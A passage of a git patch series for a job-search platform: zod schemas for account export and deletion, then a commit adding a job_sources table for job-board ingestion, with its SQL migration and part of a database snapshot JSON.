last_login_at: isoTimestampSchema.nullable(), + created_at: isoTimestampSchema, + updated_at: isoTimestampSchema, +}); + +export type ExportUser = z.infer; + +export const exportMembershipSchema = z.object({ + organization: z.object({ + organization_id: uuidSchema, + name: z.string(), + type: organizationTypeSchema, + plan: organizationPlanSchema, + }), + role: memberRoleSchema, + permissions: permissionsSchema, + joined_at: isoTimestampSchema, +}); + +export type ExportMembership = z.infer; + +export const exportStudentRecordSchema = z.object({ + student_id: uuidSchema, + organization_id: uuidSchema, + department: z.string().nullable(), + graduation_year: z.number().int().nullable(), + current_status: z.string(), + created_at: isoTimestampSchema, +}); + +export type ExportStudentRecord = z.infer; + +export const exportResumeSchema = z.object({ + resume_id: uuidSchema, + original_filename: z.string(), + content_type: z.string(), + byte_size: z.number().int().min(0), + status: resumeStatusSchema, + parsed_text: z.string().nullable(), + parsed_profile: parsedProfileSchema.nullable(), + ats_score: z.number().nullable(), + ats_report: z.record(z.string(), z.unknown()).nullable(), + failure_reason: z.string().nullable(), + parsed_at: isoTimestampSchema.nullable(), + created_at: isoTimestampSchema, + updated_at: isoTimestampSchema, +}); + +export type ExportResume = z.infer; + +export const exportApplicationEventSchema = z.object({ + event_id: uuidSchema, + from_status: applicationStatusSchema.nullable(), + to_status: applicationStatusSchema, + note: z.string().nullable(), + metadata: z.record(z.string(), z.unknown()), + created_at: isoTimestampSchema, +}); + +export type ExportApplicationEvent = z.infer; + +/** The shared job listing an application or score points at, for context only. */ +export const exportJobContextSchema = z.object({ + job_id: uuidSchema, + title: z.string().nullable(), + company_name: z.string().nullable(), + location: z.string().nullable(), +}); + +export type ExportJobContext = z.infer; + +export const exportApplicationSchema = z.object({ + application_id: uuidSchema, + job: exportJobContextSchema, + resume_id: uuidSchema.nullable(), + organization_id: uuidSchema.nullable(), + status: applicationStatusSchema, + mode: applicationModeSchema, + cover_letter: z.string().nullable(), + submitted_at: isoTimestampSchema.nullable(), + last_event_at: isoTimestampSchema, + failure_reason: z.string().nullable(), + created_at: isoTimestampSchema, + events: z.array(exportApplicationEventSchema), +}); + +export type ExportApplication = z.infer; + +export const exportMessageSchema = z.object({ + message_id: uuidSchema, + application_id: uuidSchema.nullable(), + /** Id only: the contact's own details belong to the contact, not to this export. */ + contact_id: uuidSchema.nullable(), + channel: messageChannelSchema, + status: messageStatusSchema, + subject: z.string().nullable(), + body: z.string(), + scheduled_for: isoTimestampSchema.nullable(), + sent_at: isoTimestampSchema.nullable(), + created_at: isoTimestampSchema, +}); + +export type ExportMessage = z.infer; + +export const exportJobScoreSchema = z.object({ + job: exportJobContextSchema, + score: z.number(), + reasons: z.array(z.string()), + skill_gaps: z.array(z.string()), + model_version: z.string(), + scored_at: isoTimestampSchema, +}); + +export type ExportJobScore = z.infer; + +export const exportActivityEventSchema = z.object({ + event_id: uuidSchema, + event_type: z.string(), + organization_id: uuidSchema.nullable(), + payload: z.record(z.string(), z.unknown()), + occurred_at: isoTimestampSchema, +}); + +export type ExportActivityEvent = z.infer; + +/** A connection's bookkeeping. The credential reference is never exported. */ +export const exportConnectedAccountSchema = z.object({ + connector_account_id: uuidSchema, + organization_id: uuidSchema.nullable(), + provider: z.string(), + external_account_id: z.string(), + scopes: z.array(z.string()), + status: z.string(), + consent_granted_at: isoTimestampSchema.nullable(), + expires_at: isoTimestampSchema.nullable(), + last_synced_at: isoTimestampSchema.nullable(), + created_at: isoTimestampSchema, +}); + +export type ExportConnectedAccount = z.infer; + +export const accountExportSchema = z.object({ + export_version: z.literal(ACCOUNT_EXPORT_VERSION), + generated_at: isoTimestampSchema, + user: exportUserSchema, + organization_memberships: z.array(exportMembershipSchema), + student_records: z.array(exportStudentRecordSchema), + resumes: z.array(exportResumeSchema), + applications: z.array(exportApplicationSchema), + messages: z.array(exportMessageSchema), + job_scores: z.array(exportJobScoreSchema), + activity_events: z.array(exportActivityEventSchema), + connected_accounts: z.array(exportConnectedAccountSchema), + truncated: z.array(exportTruncationSchema), + notes: z.array(z.string()), +}); + +export type AccountExport = z.infer; + +// --- deletion ----------------------------------------------------------------- + +/** The exact text a caller must send (and a person must type) to delete an account. */ +export const DELETE_ACCOUNT_CONFIRMATION = 'DELETE' as const; + +export const deleteAccountRequestSchema = z.strictObject({ + confirm: z.literal(DELETE_ACCOUNT_CONFIRMATION), +}); + +export type DeleteAccountRequest = z.infer; + +export const deleteAccountResponseSchema = z.object({ + status: z.literal('deleted'), + deleted_at: isoTimestampSchema, + /** Organizations that had no other member and were deleted with the account. */ + organizations_deleted: z.number().int().min(0), + /** + * Stored resume files. They are removed after the database commit, on a best + * effort basis: `failed` counts files whose removal reported an error. + */ + resume_files: z.object({ + total: z.number().int().min(0), + failed: z.number().int().min(0), + }), +}); + +export type DeleteAccountResponse = z.infer; + +/** + * Why a deletion was refused with 409 CONFLICT. Sent in `error.details.reason` + * so a client can react without parsing the message. + */ +export const DELETE_ACCOUNT_BLOCKERS = ['sole_owner_of_organization', 'active_connected_accounts'] as const; +export const deleteAccountBlockerSchema = z.enum(DELETE_ACCOUNT_BLOCKERS); +export type DeleteAccountBlocker = z.infer; From ac4fe198aee1550a4bfcf97e3542cdf815f0b841 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:33:18 +0000 Subject: [PATCH 56/91] feat(db): add job_sources table for scheduled job-board ingestion One row per public employer job board (Greenhouse, Lever, Ashby): provider enum, board token, company name, enabled flag and last-fetch status columns, unique on (provider, board_token). A CHECK constraint restricts board tokens to a URL-safe charset so a hand-written row cannot steer an outbound request. The shared request/response types live in a new packages/types file. rls.sql already enables RLS on every public table; the RLS test now names job_sources explicitly. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .../db/migrations/0004_add_job_sources.sql | 15 + .../db/migrations/meta/0004_snapshot.json | 3178 +++++++++++++++++ packages/db/migrations/meta/_journal.json | 7 + packages/db/src/schema/enums.ts | 3 + packages/db/src/schema/index.ts | 1 + packages/db/src/schema/job-sources.ts | 51 + packages/db/test/job-sources.test.ts | 111 + packages/db/test/rls.test.ts | 2 + packages/db/test/schema.test.ts | 12 + packages/types/src/index.ts | 1 + packages/types/src/job-source.ts | 115 + 11 files changed, 3496 insertions(+) create mode 100644 packages/db/migrations/0004_add_job_sources.sql create mode 100644 packages/db/migrations/meta/0004_snapshot.json create mode 100644 packages/db/src/schema/job-sources.ts create mode 100644 packages/db/test/job-sources.test.ts create mode 100644 packages/types/src/job-source.ts diff --git a/packages/db/migrations/0004_add_job_sources.sql b/packages/db/migrations/0004_add_job_sources.sql new file mode 100644 index 0000000..a415b80 --- /dev/null +++ b/packages/db/migrations/0004_add_job_sources.sql @@ -0,0 +1,15 @@ +CREATE TYPE "public"."job_board_provider" AS ENUM('greenhouse', 'lever', 'ashby');--> statement-breakpoint +CREATE TABLE "job_sources" ( + "source_id" uuid PRIMARY KEY DEFAULT gen_random_uuid() NOT NULL, + "provider" "job_board_provider" NOT NULL, + "board_token" text NOT NULL, + "company_name" text NOT NULL, + "enabled" boolean DEFAULT true NOT NULL, + "last_fetched_at" timestamp with time zone, + "last_status" text, + "last_error" text, + "last_job_count" integer, + "created_at" timestamp with time zone DEFAULT now() NOT NULL, + CONSTRAINT "job_sources_provider_board_token_key" UNIQUE("provider","board_token"), + CONSTRAINT "job_sources_board_token_check" CHECK ("job_sources"."board_token" ~ '^[A-Za-z0-9][A-Za-z0-9_-]{0,99}$') +); diff --git a/packages/db/migrations/meta/0004_snapshot.json b/packages/db/migrations/meta/0004_snapshot.json new file mode 100644 index 0000000..1f76cd5 --- /dev/null +++ b/packages/db/migrations/meta/0004_snapshot.json @@ -0,0 +1,3178 @@ +{ + "id": "56a4fe7e-4ced-475a-938f-4ede80d592fd", + "prevId": "f44021a6-465b-4a8a-ab04-5dbd8dcd3ac9", + "version": "7", + "dialect": "postgresql", + "tables": { + "public.audit_logs": { + "name": "audit_logs", + "schema": "", + "columns": { + "audit_id": { + "name": "audit_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "actor_user_id": { + "name": "actor_user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "action": { + "name": "action", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "resource_type": { + "name": "resource_type", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true + }, + "resource_id": { + "name": "resource_id", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "trace_id": { + "name": "trace_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "audit_logs_org_created_idx": { + "name": "audit_logs_org_created_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "audit_logs_actor_idx": { + "name": "audit_logs_actor_idx", + "columns": [ + { + "expression": "actor_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "audit_logs_resource_idx": { + "name": "audit_logs_resource_idx", + "columns": [ + { + "expression": "resource_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "audit_logs_organization_id_organizations_organization_id_fk": { + "name": "audit_logs_organization_id_organizations_organization_id_fk", + "tableFrom": "audit_logs", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "audit_logs_actor_user_id_users_user_id_fk": { + "name": "audit_logs_actor_user_id_users_user_id_fk", + "tableFrom": "audit_logs", + "tableTo": "users", + "columnsFrom": [ + "actor_user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.organization_members": { + "name": "organization_members", + "schema": "", + "columns": { + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "member_role", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'member'" + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "organization_members_user_idx": { + "name": "organization_members_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "organization_members_organization_id_organizations_organization_id_fk": { + "name": "organization_members_organization_id_organizations_organization_id_fk", + "tableFrom": "organization_members", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "organization_members_user_id_users_user_id_fk": { + "name": "organization_members_user_id_users_user_id_fk", + "tableFrom": "organization_members", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "organization_members_organization_id_user_id_pk": { + "name": "organization_members_organization_id_user_id_pk", + "columns": [ + "organization_id", + "user_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.organizations": { + "name": "organizations", + "schema": "", + "columns": { + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "name": { + "name": "name", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "organization_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'individual'" + }, + "plan": { + "name": "plan", + "type": "organization_plan", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'free'" + }, + "slug": { + "name": "slug", + "type": "varchar(100)", + "primaryKey": false, + "notNull": false + }, + "settings": { + "name": "settings", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "organizations_slug_key": { + "name": "organizations_slug_key", + "columns": [ + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"organizations\".\"slug\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "organizations_type_idx": { + "name": "organizations_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.students": { + "name": "students", + "schema": "", + "columns": { + "student_id": { + "name": "student_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "department": { + "name": "department", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "graduation_year": { + "name": "graduation_year", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "current_status": { + "name": "current_status", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "students_org_user_key": { + "name": "students_org_user_key", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "students_grad_year_idx": { + "name": "students_grad_year_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "graduation_year", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "students_organization_id_organizations_organization_id_fk": { + "name": "students_organization_id_organizations_organization_id_fk", + "tableFrom": "students", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "students_user_id_users_user_id_fk": { + "name": "students_user_id_users_user_id_fk", + "tableFrom": "students", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.users": { + "name": "users", + "schema": "", + "columns": { + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": true, + "notNull": true + }, + "profile_id": { + "name": "profile_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "email": { + "name": "email", + "type": "varchar(320)", + "primaryKey": false, + "notNull": true + }, + "full_name": { + "name": "full_name", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "auth_provider": { + "name": "auth_provider", + "type": "auth_provider", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'password'" + }, + "password_hash": { + "name": "password_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "email_verified": { + "name": "email_verified", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "mfa_enabled": { + "name": "mfa_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "mfa_secret": { + "name": "mfa_secret", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "failed_login_count": { + "name": "failed_login_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "locked_until": { + "name": "locked_until", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_login_at": { + "name": "last_login_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "users_email_key": { + "name": "users_email_key", + "columns": [ + { + "expression": "lower(\"email\")", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "users_profile_id_idx": { + "name": "users_profile_id_idx", + "columns": [ + { + "expression": "profile_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.resumes": { + "name": "resumes", + "schema": "", + "columns": { + "resume_id": { + "name": "resume_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "storage_url": { + "name": "storage_url", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "original_filename": { + "name": "original_filename", + "type": "varchar(400)", + "primaryKey": false, + "notNull": true + }, + "content_type": { + "name": "content_type", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "byte_size": { + "name": "byte_size", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "content_hash": { + "name": "content_hash", + "type": "varchar(64)", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "resume_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "parsed_text": { + "name": "parsed_text", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parsed_profile": { + "name": "parsed_profile", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "ats_score": { + "name": "ats_score", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "ats_report": { + "name": "ats_report", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "embedding": { + "name": "embedding", + "type": "vector(1536)", + "primaryKey": false, + "notNull": false + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parsed_at": { + "name": "parsed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "resumes_user_content_hash_key": { + "name": "resumes_user_content_hash_key", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "content_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "resumes_user_created_idx": { + "name": "resumes_user_created_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "resumes_status_idx": { + "name": "resumes_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "resumes_user_id_users_user_id_fk": { + "name": "resumes_user_id_users_user_id_fk", + "tableFrom": "resumes", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.companies": { + "name": "companies", + "schema": "", + "columns": { + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "name": { + "name": "name", + "type": "varchar(300)", + "primaryKey": false, + "notNull": true + }, + "normalized_name": { + "name": "normalized_name", + "type": "varchar(300)", + "primaryKey": false, + "notNull": true + }, + "industry": { + "name": "industry", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "website": { + "name": "website", + "type": "varchar(500)", + "primaryKey": false, + "notNull": false + }, + "domain": { + "name": "domain", + "type": "varchar(255)", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "companies_normalized_name_key": { + "name": "companies_normalized_name_key", + "columns": [ + { + "expression": "normalized_name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "companies_domain_idx": { + "name": "companies_domain_idx", + "columns": [ + { + "expression": "domain", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "companies_name_trgm_idx": { + "name": "companies_name_trgm_idx", + "columns": [ + { + "expression": "\"name\" gin_trgm_ops", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.job_scores": { + "name": "job_scores", + "schema": "", + "columns": { + "job_id": { + "name": "job_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "score": { + "name": "score", + "type": "real", + "primaryKey": false, + "notNull": true + }, + "reasons": { + "name": "reasons", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "skill_gaps": { + "name": "skill_gaps", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "model_version": { + "name": "model_version", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true + }, + "scored_at": { + "name": "scored_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "job_scores_user_score_idx": { + "name": "job_scores_user_score_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "score", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "job_scores_job_id_jobs_job_id_fk": { + "name": "job_scores_job_id_jobs_job_id_fk", + "tableFrom": "job_scores", + "tableTo": "jobs", + "columnsFrom": [ + "job_id" + ], + "columnsTo": [ + "job_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "job_scores_user_id_users_user_id_fk": { + "name": "job_scores_user_id_users_user_id_fk", + "tableFrom": "job_scores", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "job_scores_job_id_user_id_pk": { + "name": "job_scores_job_id_user_id_pk", + "columns": [ + "job_id", + "user_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.jobs": { + "name": "jobs", + "schema": "", + "columns": { + "job_id": { + "name": "job_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "varchar(300)", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "salary_min": { + "name": "salary_min", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "salary_max": { + "name": "salary_max", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "salary_currency": { + "name": "salary_currency", + "type": "varchar(3)", + "primaryKey": false, + "notNull": false + }, + "salary_period": { + "name": "salary_period", + "type": "varchar(10)", + "primaryKey": false, + "notNull": false + }, + "location": { + "name": "location", + "type": "varchar(300)", + "primaryKey": false, + "notNull": false + }, + "remote_type": { + "name": "remote_type", + "type": "remote_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "employment_type": { + "name": "employment_type", + "type": "employment_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "source": { + "name": "source", + "type": "job_source", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "external_id": { + "name": "external_id", + "type": "varchar(400)", + "primaryKey": false, + "notNull": false + }, + "apply_url": { + "name": "apply_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "job_hash": { + "name": "job_hash", + "type": "varchar(64)", + "primaryKey": false, + "notNull": true + }, + "skills": { + "name": "skills", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "embedding": { + "name": "embedding", + "type": "vector(1536)", + "primaryKey": false, + "notNull": false + }, + "spam_score": { + "name": "spam_score", + "type": "real", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "posted_at": { + "name": "posted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "last_seen_at": { + "name": "last_seen_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "jobs_job_hash_key": { + "name": "jobs_job_hash_key", + "columns": [ + { + "expression": "job_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_source_external_id_key": { + "name": "jobs_source_external_id_key", + "columns": [ + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "external_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"jobs\".\"external_id\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_company_idx": { + "name": "jobs_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_active_posted_idx": { + "name": "jobs_active_posted_idx", + "columns": [ + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "posted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_remote_type_idx": { + "name": "jobs_remote_type_idx", + "columns": [ + { + "expression": "remote_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_title_trgm_idx": { + "name": "jobs_title_trgm_idx", + "columns": [ + { + "expression": "\"title\" gin_trgm_ops", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + } + }, + "foreignKeys": { + "jobs_company_id_companies_company_id_fk": { + "name": "jobs_company_id_companies_company_id_fk", + "tableFrom": "jobs", + "tableTo": "companies", + "columnsFrom": [ + "company_id" + ], + "columnsTo": [ + "company_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.job_sources": { + "name": "job_sources", + "schema": "", + "columns": { + "source_id": { + "name": "source_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "provider": { + "name": "provider", + "type": "job_board_provider", + "typeSchema": "public", + "primaryKey": false, + 